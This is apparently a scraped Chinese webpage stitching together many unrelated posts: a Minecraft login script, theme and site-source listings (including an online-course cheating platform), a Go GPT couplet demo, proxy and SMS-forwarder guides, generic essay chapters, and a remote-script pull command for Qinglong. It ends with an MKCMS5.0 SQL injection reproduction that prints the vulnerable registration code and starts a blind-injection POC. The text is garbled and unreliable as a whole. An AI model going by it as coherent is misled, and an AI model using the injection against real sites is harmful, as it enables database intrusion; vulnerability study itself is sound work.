2023年6月

前段时间没怎么发文章,就是因为在折腾这个玩意,但是大多数都是需要科技的,本人是一个守法公民,所以折腾的举步维艰,但是还好,现在挂了几个账号,京豆每天能有个200左右,这个跟你的京享值有关系,有想跟着一起挂的可以评论留邮箱,我把地址发给你。

不知道有没有小伙伴使用 Prism Launcher ,而常玩的服务器却需要使用 Authlib Injector 登录的。

这个功能国内的启动器大多支持,但是 Prism Launcher 的上游 MultiMC 表示永远不会支持这个功能。而 Prism Launcher 似乎也没有支持的计划。

我这里提供一个小脚本,可以让 Prism Launcher 支持外置登录。

仅限 Linux / macOS 使用。

依赖

  • base64
  • jq
  • curl
  • sed, Linux 上为 GNU sed ,macOS 上必须安装 gsed
  • uuidgen
  • dd
  • bash - Bash 不需要是你的默认 Shell ,但是应该在你的电脑上被安装

您的设备应该存在 /dev/urandom。

如果是 macOS 用户,以上依赖必须使用 Homebrew 安装。

安装

git clone https://github.com/baobao1270/mmcai.sh.git
mg mmcai.sh ~/.mmcai.sh
cd ~/.mmcai.sh
chmod +x mmcai-login
chmod +x mmcai-launch-minecraft

以下所有说明假设您将 mmcai.sh 安装到 ~/.mmcai.sh。如果您安装到其他位置,请自行替换。

登录

$ cd ~/.mmcai.sh
$ ./mmcai-login https://skim.mc.example.com/api/yggdrasil
Using server endpoint: https://skim.mc.example.com/api/yggdrasil
Waiting for server response...
Server name: Blessing Skin 皮肤站
Note: when entering password, there is no echo on the screen.
Username: Luo_Tianyi
Password:
Getting client token...
1+0 records in
1+0 records out
512 bytes transferred in 0.000074 secs (6918919 bytes/sec)
Login Success!

注意输入密码时没有回显。

启动 Minecraft

在 MultiMC / Prism Launcher 中,编辑实例,选择「设置」——「自定义命令」,填写「包装器命令」为:

~/.mmcai.sh/mmcai-launch-minecraft

其中,将 ~ 替换为你的 Home 目录的绝对路径。

本站使用主题:BearSimple - 一款简洁的Typecho主题

BearSimple 是一款简洁的 Typecho 主题,它注重页面的排版和可读性,让阅读体验更加舒适。这款主题的设计简洁明了,色彩搭配清新自然,同时支持多种功能,如文章分类、标签、评论等,让你的博客更加丰富多彩。使用 BearSimple 主题,你可以轻松地定制化博客的外观和功能,让你的博客更加符合自己的风格和需求。

BearSimple主题是什么

BearSimple是一款简洁但又不是完全简洁的Typecho主题,为什么说不是完全简洁呢,因为这款主题除了前台简洁外其他地方一点也不简洁,就如同..打个比方就是外看陋室,内看别墅。诶对,就是这个意思。

说明

本主题开源免费长期更新,有时候一天一更,有时候两三个月一更,视情况而定
QQ交流群:561848356

适合使用的博客类型
简约类博客,喜欢简约的博客站长应该也会喜欢本主题(本站就是如此,外表看着简洁,但实际功能很强悍。)
有如下功能:

  1. 支持Pjax加载
  2. Diy模式
  3. 评论过滤,支持限制一些评论内容
  4. 评论表情,支持QQ等个性表情
  5. 支持短代码,支持回复可见、字体颜色、已完成/未完成列表[todolist]等
  6. 编辑器支持一键插入全部附件
  7. HTML压缩
  8. 灯箱功能,可以将文章内的图片聚集到灯箱查看
  9. 图片水印,支持文字水印和图片水印功能
  10. 幻灯片功能
  11. 弹窗功能
  12. 打赏功能
  13. 缓存功能
  14. 多种导航菜单样式
  15. 多种翻页样式
  16. 极具多样化的行为验证功能,可设置评论验证码以及CC简易防护
  17. 文章微海报功能
  18. 实验室功能
  19. 哀悼模式
  20. 支持语言切换,拥有简繁体切换以及全球几十种语言切换
  21. 防复制功能
  22. 返回顶部
  23. Sitemap网站地图
  24. 友链功能
  25. 文章置顶
  26. 多种头像调用方式(Gravatar多种镜像源可供切换、自定义头像、支持QQ头像)
  27. 支持代码高亮,拥有多种样式可供选择
  28. 多种文章展现样式可供选择
  29. 支持文章时效性提示
  30. 支持文章版权功能,多种文章共享协议可供选择
  31. 文章支持显示文章热度
  32. 支持多种自定义页面,追番、读书应有尽有~~
  33. 等等等等,不一一详述

PS:我是从1.X的版本开始使用的,刚开始也没怎么注意作者,后来随着时间的延长,我发现作者在很认真的做这款主题,并且会在群里认真的回复每一个群友反馈的bug,从2.0开始,我也加入到反馈bug的队伍中,并且会把自己的想法,告知作者,像seo综合功能,友链检测,随机文章,那年今日,猜你想看等,都是在群友的一一反馈下,慢慢的充实起来,相信有你的加入,会让这款主题变的更加的优秀和完美。

截图就不发了,本站使用的就是了,当然主题预设了好几种首页类型,需要你自己去找最适合自己的,本站现在的样子就是我目前最喜欢的样式。

本站主题作者链接:https://www.bearnotion.ru/typecho-bearsimple.html

搭建教程:

1.打开Nginx.htaccess文件,复制其中的内容,并将其设置为伪静态规则,建议使用 PHP 7.3 进行配置。

2.在config文件夹中找到config.php文件,将其中的数据库信息改为自己的数据库信息。

3.将根目录中的数据库文件导入到自己的数据库中。

4.登录后台需要使用在数据库中存储的账号和密码进行登录。二次验证密码需在config文件夹中的config.php文件中修改。

5.在user表中只提供了一个账号,其uid为1。如果需要添加或修改账号,可将其ID、密码和用户名进行相应的更改。

大学生代刷网课平台学习系统源码
大学生代刷网课平台学习系统源码1

libgotorch

首先利用 libtorch 库封装了一个libgotorch库,已支持最新的 libtorch2.0.1

问题一:cgo 中返回的 tensor 对象在栈上,直接使用可能会有内存安全问题

我做了一层简单的封装来使其创建到堆上,但其引发的问题是需要手动管理内存,因此我编写了 mmgr 包在每一个 tensor 对象创建的时候自动加入 mmgr 的 storage 当中,最后在每一轮训练完毕后通过 GC 方法释放堆上的 tensor 对象

问题二:windows 下的 libtorch 库通过 msvc 编译,提供的是 C++接口,无法在 mingw 中无法正常链接

解决方案是通过在封装一个动态链接库并暴露 C 语言接口,在 mingw 中即可正常链接

通过解决以上两个问题,已可以在 go 语言中使用 libtorch 库并实现自己的模型了

对对联

下面进入正题,我在 tnn 库中实现了一个小型的 GPT 模型来实现对对联:couplet,下面让我们来看一下最终效果

$ go run main.go evaluate --model model7M 晚风摇树树还挺
load embedding...
model loaded
inputs: [472 3 462 148 148 342 1516]
map[4.278747:[醉] 5.084207:[润] 8.868446:[晨]]
map[3.8447263:[花] 4.750472:[润] 8.635651:[露]]
map[5.46043:[花] 6.7003703:[露] 10.768249:[润]]
map[4.3850584:[露] 4.875666:[润] 9.896332:[花]]
map[3.6241615:[红] 5.611262:[润] 10.782802:[花]]
map[4.3855276:[花] 5.48069:[红] 9.480111:[更]]
map[3.7904112:[心] 4.269902:[花] 10.3220415:[红]]
晨露润花花更红

$ go run main.go evaluate --model model7M 投石向天跟命斗
load embedding...
model loaded
inputs: [1233 190 383 11 2623 620 490]
map[5.7068815:[门] 5.7826476:[问] 9.79136:[闭]]
map[3.0136497:[问] 3.1092193:[人] 8.903796:[门]]
map[3.021591:[还] 3.448888:[歌] 8.96453:[问]]
map[4.9368696:[地] 5.7390223:[时] 9.438878:[卷]]
map[3.5542138:[话] 3.858942:[时] 8.253393:[与]]
map[3.025545:[与] 3.2461479:[卷] 9.06726:[时]]
map[4.250452:[时] 4.712057:[舟] 10.401218:[争]]
闭门问卷与时争

注意:该模型仅训练了开源数据集couplet-dataset中的前 1 万个样本

模型的参数结构如下:

+------------------------+---------+
|          NAME          |  COUNT  |
+------------------------+---------+
| transformer0_attention |    1872 |
| transformer0_dense     | 1256640 |
| transformer0_output    | 1254960 |
| transformer1_attention |    1872 |
| transformer1_dense     | 1256640 |
| transformer1_output    | 1254960 |
| output                 | 2488596 |
| total                  | 7515540 |
+------------------------+---------+

train 200, cost=2h15m7.877395694s, loss=3.665343e-02

整个模型共有 751 万个参数,模型包含 2 个 transformer 模块,由于在训练时只使用了 8 个 float32 来对每一个字进行表征,因此 attention 层的参数量较少,其他参数配置如下:

const embeddingDim = 8 // 8 个 float32 表示一个字向量
const paddingSize = 70 // 最长为 34*2 ,因此 padding 长度必须大于 68
const heads = 4
const batchSize = 128
const epoch = 200
const lr = 0.001
const transformerSize = 2

最后让我们来看看模型的泛化能力如何

$ go run main.go evaluate --model model7M 我是谁
load embedding...
model loaded
inputs: [85 62 191]
map[4.3809786:[雨] 4.9436274:[染] 7.105626:[绿]]
map[3.8163047:[水] 4.013789:[东] 4.088595:[得]]
map[4.872726:[唱] 5.4107614:[兰] 6.3983927:[发]]
绿得发

$ go run main.go evaluate --model ./model7M 我在哪
load embedding...
model loaded
inputs: [85 99 1151]
map[1.480957:[思] 2.002811:[得] 4.0260763:[寻]]
map[3.4100764:[女] 3.868993:[对] 4.448501:[得]]
map[2.2672489:[年] 2.3772364:[历] 4.946753:[谁]]
寻得谁

效果不是很理想,可能还是跟训练的样本数量太少有关

另外还有一些示例可在 example 目录下找到,如使用 RNN 来学习如何画 sin 曲线等

最后是项目地址:

社区娱乐系统源码+全套APP源码+搭建教程
社区娱乐系统源码+全套APP源码+搭建教程1

视频教程

社区操作演示教程https://www.bilibili.com/video/BV1Yo4y147yF/
社区视频搭建教程,手把手教你,超详细https://www.bilibili.com/video/BV1KM4y1h7zy

搭建教程

先上传插件,然后去后台安装插件:nd_website_plus(1) ndd_user_img(1)

在上传模板:moban

一定要先安装插件 ,要不然网站直接无法操作!!!

后台搭建教程:

添加站点把域名添加后,php版本7.0,mysql5.6
伪静态thikphp
ip地址也要添加进去

后端搭建教程

上传程序,解压出来然后解压HYBBS2.3.2.zip,访问域名
安装输入之前创建的数据库账号密码后台管理员邮箱账号密码自己设置
登录后先把全局设置这个bug调试关掉
解压需要的文件
先把模板复制到view文件夹解压出来nd_mobile这个是模板
接下去把forum_list_jindian.php文件放在/View/nd_mobile文件夹内覆盖即可
把Api.php文件放在Action文件夹

//这个地方你们要看一下,这是介绍文件的作用很重要
Updatesv5.php这个Appurl":"更改为自己域名即可"这个是控制域名的文件,很重要,改这个域名就相当于改了app的域名还是那个文件"version":"205.0",这个是版本号,注意你iapp里面的main.iyu的版本要比这个值大.0可以省略
zanz.php这个文件是排行榜,那个app赞助的排行榜
gg.php文件是首页图片显示
(http://38.60.32.252/1.jpg,http://xn--1lqq7ickg5yt0rq16djkf.cn/);
格式为(图片路径,跳转网页);注意这个符号都是英文的
这个文件是提现那边的兑换,需要用户组为5的才会显示兑换成功.

把插件复制到Plugin然后解压
然后插件重新卸载安装一下
选择模板nd_mobile电脑移动端都要
添加板块分组和分类,差不多就是这样了

邮箱配置,你们配置自己的邮箱就可以了

接下去我们看看前端视频教程

需要2个工具mt管理器还有iapp

前端搭建教程

1.iapp在mt打开,进入iapp目录打开iapp的main.iyu文件,

正是/storage/emulated/0/Android/data/com.iapp.app/files/iApp/ProjectApp/com.i566jmbb注:/src/mian.iyu
这个文件
当然有些人手机型号比较老可能是

/storage/emulated/0/iApp/ProjectApp/com.i566jmbb1/src/mian.iyu
//

不排除有其他可能,但基本上都这样,上面的com.i566jmbb1就是iapp的包名,
如果你需要更改其他iapp包也可以按照上面方法

2.打开mian.iyu方法后搜索2个地方分别是

qj string url= "http://124.222.103.185"

url= "http://124.222.103.185"

其实只要查http://124.222.103.185就可以了,
但是我不清楚你们的那边的ip和不和我不一样所以我就说两个了更改这两个
第一个改为自己的域名比如http://www.baidu.com注意后面不要加/

第二个改为自己的服务器ip后面也不要加/

3.修改版本号,版本号不修改是进不去的
注意这样指的不是iapp那边的修改版本号而是同样的main.iyu文件搜索gd s appbb="143.0"更改为后端根目录里面的名字叫Updatesv5.php当然这个文件很遗憾源码里面没有,我一会告诉在后端教程里面会说
打开网站根目录Updatesv5.php修改里面的"version":"值"注意这个值需要比你的main.iyu里的
gd s appbb="143.0"这个143.0小,比如你前端iapp的值是100.0你后端要写99,当然后端.0可以省略也可以不省略

4.正式打包即可,注意iapp软件版本需要v2.99977版本高版本可能会报错,目前楼主就遇到这种问题,具体可能是iapp新版本某个库了,好了这些我们不管,反正用v2.99977版本稳定即可,到此前端完成。

借鉴的APK:https://hhhmja.lanzoum.com/u/week3713

最新UI设计的视频答题猜歌闯关娱乐微信小程序源码-功能强大;

后台管理资源本地化带数据和视频教程,这是一款拥有后端的闯关娱乐小程序;

支持个人小程序和企业小程序上线运营;
功能强大齐全,带数据本地化;
数据在自己服务器自己管理无需担心第三方失效的问题;
支持看视频答题闯关;
支持听歌猜歌答题;
支持流量主模式(后端直接设置即可);
支持红包每日任务,邀请好友礼包(团队奖励);
支持观看视频获取体力,团队分销模式;
支持用户签到,连续签到,每日奖励,用户抽奖等等功能;
所有设置后端即可自行设置;

运行环境
微信开发者工具+PHP+MYSQL
最新UI设计的视频答题猜歌闯关娱乐微信小程序源码-功能强大
最新UI设计的视频答题猜歌闯关娱乐微信小程序源码-功能强大1
最新UI设计的视频答题猜歌闯关娱乐微信小程序源码-功能强大2
最新UI设计的视频答题猜歌闯关娱乐微信小程序源码-功能强大3
最新UI设计的视频答题猜歌闯关娱乐微信小程序源码-功能强大4
最新UI设计的视频答题猜歌闯关娱乐微信小程序源码-功能强大5

基于thinkphp6框架开发的全新UI的AI网址导航系统整站源码;

最新的thinkphp 6.1 开发的 AI 网址导航是一个非常实用的工具,它能够帮助用户方便地浏览和管理自己喜欢的网站。相比于其他的 AI 网址导航,这个项目使用了更加友好和易用的 ThinkPHP 框架进行搭建,使得开发者和用户都能够轻松上手。

此次更新的 AI 网址导航,后台可以随意设置导航颜色,让用户可以自由选择自己喜欢的配色方案。同时,该项目还提供了非常简洁的用户界面和灵活的管理模块,让用户可以快速添加、编辑和删除网址信息。

此外,该项目还提供了灵活的分类和排序功能,可根据用户个性化需求进行自定义设置。

运行环境
PHP8.0+MySQL5.6
基于thinkphp6框架开发的全新UI的AI网址导航系统整站源码

基于thinkphp6框架开发的全新UI的AI网址导航系统整站源码1

基于thinkphp6框架开发的全新UI的AI网址导航系统整站源码2

基于thinkphp6框架开发的全新UI的AI网址导航系统整站源码3

搭建教程

https://blog.xiaohack.org

测试环境:PHP8.0+MySQL5.6

设置运行环境为 /public 目录

设置thinkphp伪静态规则

数据库配置文件路径 /.env

后台登录地址 /admin
后台账号 admin
后台密码 123456

【WPS AI共创快闪招募ing!】
如果你:
热衷AI领域,洞察敏锐
乐于分享与交流,热爱挑战
邀请你一起来探索WPS AI更多的可能性:
填写表单即刻报名:https://f.kdocs.cn/g/UGxnPtnd/
我们将会通过邮箱联系您,请留意查看。
近几天都会有,每天都会审核一次大家的报名,第二天会发邮件通知的。
体验码通过邮件发送,是个186天的体验码,不限制次数。

前两天体验了一下,还是很不错的,能省不少事儿。
目前能对文档、PDF和PPT支持的挺好,表格暂不支持,后面会支持。
一键生成PPT的效果还是很不错的。
WPS AI体验码申请入口
WPS AI体验码申请入口2

前言

去年我发布了一篇关于 clash relay 的教程
当初随便拿来放临时配置的 gist 也有了 50 多个 star https://gist.github.com/miaomiaoclub/6947f7cb93846301f1658da0edcd61bf
时隔半年多,这套方案在和朋友 @ RADE 的共同学习中有了不少改进,tunnels 功能的加入更是让整套方案如虎添翼,不少体验让我自己都有种“wow”的感觉,例如 延迟降低 100% 。
最终的效果让我到现在都非常兴奋,所以我花了一周时间再来写一篇文章和大家分享。

快速体验

这是我目前使用的配置的示意图,为了美观简化了不少内容。
我花了一周准备,想和你分享 Clash 所有特性运用到极致之后的体验
因为所有东西要讲完真的很复杂,为了让大家快点感受我的激动,我花了一周时间写了一个模版让你可以在 30 秒内开始体验这一切。

你只需要去 https://www.urlencoder.org/ 或者其他什么网站把你的订阅链接进行 url 编码。

然后把编码后的内容拼接到下面这一大串链接的末尾,再把它放到 Clash 里面订阅就可以了。

https://api.sublink.dev/sub?target=clash&insert=false&config=https%3A%2F%2Fgist.githubusercontent.com%2Fmiaomiaoclub%2F2178a7dd7fbbf4b7774ad6f7ad2000c5%2Fraw&emoji=true&list=false&tfo=false&scv=true&fdn=false&sort=false&new_name=true&url=https%3A%2F%2Fgist.githubusercontent.com%2Fmiaomiaoclub%2F92fc5af76ede047810a7a51af86089ee%2Fraw%7C

完成之后你应该可以看到这样的分组,其中的 READY BOOST 就是使用了 tunnel + grpc 的连接,你可以把左右两边的延迟进行对比。
我花了一周准备,想和你分享 Clash 所有特性运用到极致之后的体验1
然后你可以在节点选择列表的末尾找到 READY BOOST ,选中它,然后打开几个网页,另外,它应该是可以解锁 ChatGPT 的。

顺带一提,当你自行实现的时候,它是 udp fullcone 的,我在这里禁用了 udp 。

这套体验配置会在 1 天后失效,取决于这个帖子的回复情况延长或缩短。

实现原理是什么?

基于 grpc 的连接复用。
关于 proxy chain 的优点,可以查看下面这篇文章

https://luxirty.com/article/01815b7d-073d-48ef-9528-7b4ad033f8d0

这里主要讲讲 grpc ,众所周知,连接复用可以节省握手时间,http/2 就拥有连接复用的特性。

然而 clash 只为 grpc 实现了连接复用,http/2 在 clash 中并不具备连接复用。

基于 tunnel 的 proxy chain
在实际测试中,我们(@RADE )发现 relay 实际上导致了非常多的问题,例如 udp 无法通过、grpc 奇怪的高延迟等。

因此我们使用 tunnels 替换了 relay ,它的表现相比于 relay 优秀了很多。

你可以到 clash 的官方 wiki 来学习 tunnel 的用法 https://dreamacro.github.io/clash/configuration/configuration-reference.html

也可以看看我的博客,有稍微容易看懂的讲解 https://luxirty.com/article/chain-proxy-powered-by-clash-tunnels

负载均衡、故障转移、最短延迟

在上面的体验配置中我并没有把所有这些特性都加上。因为写起来太麻烦了。但我相信对 V2EX 的各位来说并不难。

实际上还有更多的内容可以讲:

  • 如何更方便地为 clash 自定义规则
    你可以看到在上面的测试配置中,我们修改了配置并添加了节点,并且没有依赖任何自建服务,一个公开的 subconverter+gist 足够了
  • 使用订阅转换时,如何把来自不同订阅的 proxy 分别放到不同的 group
    唔…好啦,大概就这些!……

本项目适用于Linux环境的随身WiFi
实现监控短信,通过Email,Telegram进行转发,并支持自定转发函数,以实现转发到其他平台

在开始前,请确保你的随身WiFi可以正常使用基带,可通过以下命令确认

mmcli -m 0

如果无法正常使用,请参考酷安伏莱兮浜大佬的教程,尤其注意文章最后所提到的刷写基带的部分

目前已实现:

  • 自动扫描短信
  • 转发到Email,Telegram
    To Do List
  • 转发到更多平台(目前计划Bark,Server酱)
  • 支持发送短信

    使用

  • 安装python环境

      sudo apt update && sudo apt install python3
  • clone或从releases下载
  • 修改config.example.py中的配置,并重命名为config.py
  • 运行

       python3 main.py
  1. 使用systemctl(推荐)或screen实现后台运行

以下为systemctl步骤

编辑/etc/systemd/system/sms_forwarder.service,添加以下内容,注意实际路径

[Unit]
Description=SMS Forwarder

[Service]
Type=simple
ExecStart=/usr/bin/python3 /home/user/sms_forwarder/main.py

[Install]
WantedBy=multi-user.target

重新加载systemctl

sudo systemctl daemon-reload

启动服务

sudo systemctl start sms_forwarder

开机自启

sudo systemctl enable sms_forwarder

自定义推送函数

在forward.py中添加如下函数:

def forward_to_foo(number,content,timestamp):
    #自定推送代码
    pass

函数名需以forward_to_开头,传入number,content,timestamp 3个参数

常见问题

Q:收到的短信包含乱码

A:将系统语言修改成使用utf-8的

免责声明

本项目的所有内容仅供参考和学习目的,禁止用于商业用途。在使用本项目时,请您遵守所在国家和地区的相关法律法规,不得违反任何法律规定。

使用本项目的任何内容,即表示您已阅读、理解并同意承担所有责任。无论因何种原因,本项目所有人均不对使用者的任何行为或后果承担任何责任。

本项目的所有内容仅供参考和学习目的,本人不对这些内容的准确性、完整性和实用性作出任何保证或承诺。

本项目不会将任何用户的数据传输到项目所有者的服务器上。但如果您使用转发功能,您的数据将被传输到第三方服务器上。在使用转发功能时,请您自行承担风险,并遵守该第三方服务的使用条款和隐私政策。

第一章:沉淀

作为人类,每个人都会有自己独特的人生经历,我们经历的每一个瞬间都会对我们留下深刻的印记,塑造着我们的思想和人格。有时候,当我们回首过去,回忆起那些曾经的瞬间,我们会发现一些似乎和自己的自我认知不太一致的情况。

然而,这些情况并不一定都是坏事,因为它们可以让我们更好地认识和理解内心深处的真实感受。当我们面对那些不确定的情况时,我们需要耐心地思考,如何将它们转化成自己成长和完善的契机。

这是一个持久而艰苦的过程,需要我们不断地思考和反思,使我们变得更加成熟和稳重。这就是沉淀的过程。沉淀是一种内在的过程,它不关乎我们看到的表面现象,而是关系到我们的内心深处。这个过程需要我们抛弃那些无意义的东西,化腐朽为神奇,不断追求更高的境界和更加纯粹的内心状态。

只有通过这种沉淀的努力,我们才可以在人生的长河中越来越清楚地认识自己,了解自己的优点和不足,并在人生的各个阶段中找到自己的位置。我们需要耐心地关注和修正自己,经过多年的积累和沉淀,我们才可以形成自己的独特人格和生活方式。

总之,沉淀是一种让我们成长和完善的过程,它打破了表面上的浮躁和虚伪,帮助我们找到自己的内心的平衡和和谐状态。只有靠这种不断的沉淀,才能真正地走出自己的人生路,幸福快乐。

第二章:青春终于败给了资本,那场高考毁了我的本科梦

青春是一道永恒的风景线。在我的生命中,青春期是最美好也最充实的时光。那时候,每一天都充满了希望和梦想,充满了无数个“如果”和“可能”。

我依然清晰地记得,当我处在高三时,我是多么的宏伟壮志。我梦想着大学学习心仪的专业,追随自己的兴趣和才华,拥有自己的未来和事业。然而,这个宏伟壮志被一场高考摧毁了。我用尽了所有的力气和资源去准备那场考试,但结果却是如此残酷:我失去了成为大学生的机会。

青春,终究败给了现实。资本的利益和繁杂的社会体制渗透到了高考这个最纯净的考试体系中,抢夺了无数学生的梦想和希望,让他们沦为了现实的无奈和无力。

我曾经认为高考是衡量学生综合素质和能力的最公正的方式。然而,现实却告诉我,高考不过是解决学生数学和语文能力的考试。除此之外,没有其他的点数可以加上,没有更多的空间可以展现学生的特长和优势。

青春终于败给了资本,高考毁了我的本科梦,这不仅是我一个人的遭遇,更是整个学生成长过程中常见的现象。我们不得不面对这样一种残酷的现实,去重新调整自己的目标和梦想,为了生存,为了生活。

尽管眼前的现实有着很多不如意的地方,但我依然坚信,生命是一场长跑,成功需要的是不断的努力和奋斗。无论是在大学还是在工作中,我们都需要坚持不懈地追求自己的梦想,去发掘自己的潜力,展现自己的才华,努力创造更加美好的未来。

青春而热血的我们,即便在现实的残酷面前,也不能放弃对美好生活的向往。让我们一起携手努力,开创属于自己的精彩人生。

第三章:大专也是大学

大专也是大学,相信很多人都有这样的认识。虽然大专和大学在层次上有所区别,但是它们都是为了让学生掌握更多的专业知识,从而更好地投身社会做出贡献。

值得一提的是,大专的教学内容实际上与大学也没有太大的区别。很多大专设置的学科都非常实用,与实际生产生活紧密相连。此外,大专更注重实践,尤其是职业性的专业,如工科、农业、医学等。

相比而言,大学则更侧重于基础知识的学习与探讨,并强调研究与创新。因此,一些理工类、人文社科类的学科应该选择在大学进行学习。

但与此同时,我们也要明白,大学和大专只是学习的载体,没有绝对的上下之分。真正的差别在于学生本身的素质和发展潜力,以及教育机构的教育质量和教学水平。

总的来说,大专给予学生更多的机会,让他们在较短的时间内便能掌握更多的技能和知识。而大学则强调学生的自主学习能力和创造性思维能力,注重培养高素质的人才。所以,在选择学校时,应该结合自身的情况、职业规划等因素进行综合权衡。

第四章:专业网安,未来的黑客

在网络安全的领域中,有一个职业被称为“专业网安”,他们是保卫互联网的守护者,不仅可以追踪和防范黑客攻击,还能够查找和抓获网络犯罪分子。

未来的黑客可能会变得更加具有专业性,他们会通过各种手段获取未授权的访问权限,更可能是在大规模攻击的过程中利用社会工程学来获取关键信息。但是专业网安的职责不仅仅是反击黑客攻击,还包括监测网络安全漏洞并及时给出解决方案,提高企业网络的安全性,以保护网络生态系统的稳定和安全。

在这个数字化时代,网络安全对于每个人都至关重要。无论是企业、政府还是个人,在网络世界中都需要保障自己的信息安全。这就需要专业网安人员的努力和专业知识,他们需要拥有扎实的网络安全基础知识和高超的技能水平,输入整个网络安全体系,成为真正意义上的网络卫士。

而对于普通人来说,保护自己的网络安全也非常重要。我们需要重视自己的密码安全,不轻易泄露个人信息,在互联网上保持警惕。只有我们每个人的努力,才能保障整个网络安全体系的稳定,留出一片安全的天地,让互联网成为我们更好的生活工具。

第五章:专升本失败,直接就业少走几年弯路

当我刚刚考完专升本的时候,心情异常复杂。因为我付出了很多努力和时间,但结果却是失败了。这让我感到非常失落和无望,我不知道下一步该怎么做。然而,随着时间的推移,我渐渐发现,专升本并不是人生的终极目标,没有通过并不代表一切都结束了。

我开始重新审视自己的职业规划,考虑接下来该做什么。最终,我决定放弃再次尝试专升本,而是直接进入工作岗位。虽然这并没有让我变得成功,但我走的路却少了几年弯路。

我不得不说,直接就业并不是一条容易走的路。每个人都希望学以致用,将自己学到的知识应用到实践中。但是,在我的职业中,我意识到,职场上的知识和学校里学到的知识是完全不同的。当我进入职场后,我发现自己还有很多东西要学习,例如如何与客户沟通,如何调解同事之间的冲突等等。这些技能,是我在学校里无法学到的。

但是,尽管有这些困难,我并不后悔选择直接就业。因为在职场上,我学到了许多宝贵的经验,这些经验让我变得更加成熟和自信。我相信,这些经验将帮助我在未来的职业生涯中更好地发展自己。

因此,对于那些专升本失败的人,请不要失去信心。成功的路并不只有一条,也许直接就业会成为你的另一种选择。这条路并不容易,但是正如孔子所说:“逝者如斯夫,不舍晝夜。” 希望我们在人生的旅途中,也能坚定自己的信念,迎接挑战,勇往直前。

第六章:距某ctfxx天,顶峰相见

距离某个CTF比赛仅剩下x天的时间了,我和我的战友们正在紧锣密鼓地准备着。顶峰相见,这是我们准备的必要措施。毕竟,我们在平时的训练中已经相当默契了,但是对于比赛中的各种情况我们必须有更好的配合和沟通。所以我们决定在即将到来的一场比赛之前要进行一次顶峰会议。

我们一行人来到了一家安静的咖啡馆,开始了我们的讨论和规划。全员到齐后,我们先谈了一下比赛的规则和题目类型,找出了我们的优势和劣势。比赛的考察范围很广泛,我们必须多角度地思考问题,互相帮助,以便最后在比赛中取得好成绩。尤其是网络安全知识方面,我们花费了很多时间讨论。最终确定了我们的分工和策略:有的人负责密码学,有的人负责二进制,有的人负责Web和Misc。

此外,我们还商量了一下关于防守的计划。在比赛中,防守同样很重要。我们决定设置好安全策略,防范对手的攻击,以保证我们的网站不被攻击。而攻击方面,我们一定要密切合作,互相协作,给对手制造最大的阻力。

这次顶峰相见确实很有意义,我们深入讨论了我们的实力、技能和策略,并相互学习。通过这次会议,我们更加了解彼此,为了一场将要来临的比赛,我们将会是彼此最强大的后盾和支持。在紧张的比赛中,我们会互相激励,互相鼓舞,为了实现共同的目标而拼搏。

第七章:比赛都是套路,专心实战

作为一个爱好运动的人,我深深体会到比赛的重要性。比赛不仅是展示自己实力和技巧的机会,更是锻炼自己意志力和心理素质的过程。在比赛中,我们需要克服紧张情绪和稳定自己的心态,才能更好地发挥自己的能力。

然而,在不同的比赛中,我们也需要采用不同的策略和套路。就像在围棋比赛中,我们需要从不同的角度分析和研究对手的局面和下法,制定相应的应对措施。同样,在跑步比赛中,我们需要制定出合理的赛跑策略,根据自己的体力状况选择合适的时机攻势。

在比赛中,最重要的是专心实战。专心实战意味着要坚定不移地追求胜利,切实投入到比赛中,并持续关注比赛的进程和变化。只有这样,我们才能在比赛中取得最好的结果,进一步提高我们的技能和能力。

总之,比赛是套路的,但是专心实战的过程中,我们也可以不断学习和提高自己的能力。让我们在比赛中不断成长,成为更好的自己。

第八章:两天护网兵,一生国企情

这一章是谈论个人的工作经验,其中涉及了两天护网兵和一生国企情两个方面。

对于两天护网兵部分,我认为这是我工作过程中最刺激和挑战性的一段经历。在赴客户现场进行网络安全测试时,我和团队的其他成员都像护网兵一样不眠不休地工作,直到攻克了所有的难关。这两天,我们的工作强度极高,每个人都在全力以赴地投身于测试工作中。虽然累,但我感到非常有成就感。这段经历使我意识到,工作中要敢于挑战自己,只有这样才能不断提高自己的能力。

对于一生国企情部分,我是在一家国企工作了多年,看着这个单位从小变大,从弱变强。在这里,我经历了许多不同的工作场景,遇到了各种各样的人物,也看到了这个单位不断进步的努力。我对这家国企有着深深的感情,认为自己的人生经历与这个单位的成长历程紧密相连。这个单位为我提供了一个良好的职业环境,也让我不断成长和进步,我相信,这种情感也会伴随我的一生。

总的来说,工作经历是每个人成长过程中必不可少的一环,它能够让我们感受到工作的重要性,也能够让我们不断挑战自己,提高自己的能力和水平。对于每个人而言,工作经历也是一段人生经历,它会给我们留下深刻的印象,塑造我们的人生态度。我希望能够在未来的工作中,继续感受到工作的挑战和成就,也希望我的工作能够对社会做出一些有益的贡献。

说明:

1、不要问青龙干什么的
2、别问为什么网速这么慢
3、推荐使用低版本的安卓机

开始:

1、首先定时任务→添加任务
名称:自己写一个
拉库命令:ql raw https://gitee.com/lstcml/qinglongscripts/raw/master/nwct/nwct_localtunnel.py
定时规则:可以自己写

2、环境变量→添加变量
名称:qlsubdomain
值:数字和字母的组合(这个是前缀自己看着写)

3、找到刚才拉过来的脚本点击运行

4、运行日志上会提示你穿透之后的访问链接
结束

简介及安装

MKCMS5.0是一款基于PHP+MYSQL开发制作的专业全自动采集电影网站源码。程序不需授权上传直接使用,自动更新电影,无人值守! 完整的会员影视中心 后台可对接卡盟 可以设置收费观看模式。
下载地址:链接:https://pan.baidu.com/s/12HsPtKN8ECIAv3QNy6rSwg
提取码:zkaq

源码放在phpstudy根目录下。
访问:http://127.0.0.1/MKCMS5.0/install/
MKCMS5.0漏洞合集环境搭建
MKCMS5.0搭建

漏洞复现

前台sql注入
漏洞出现在/ucenter/reg.php第7-19行:

if(isset($_POST['submit'])){

$username = stripslashes(trim($_POST['name']));

// 检测用户名是否存在

$query = mysql_query("select u_id from mkcms_user where u_name='$username'");

if(mysql_fetch_array($query)){

echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';

exit;

}

$result = mysql_query('select * from mkcms_user where u_email = "'.$_POST['email'].'"');

if(mysql_fetch_array($result)){

echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';

exit;

}

mkcms漏洞复现
册用户名时$username参数传到后台后经过stripslashes()函数处理,而stripslashes()函数的作用是删除addslashes() 函数添加的反斜杠。

当前页面无输出点,只是返回一个注册/未注册(通过if判断true或者false),可以使用布尔盲注来解决这个问题。
POC:

POST /ucenter/reg.php HTTP/1.1

Host: 127.0.0.1

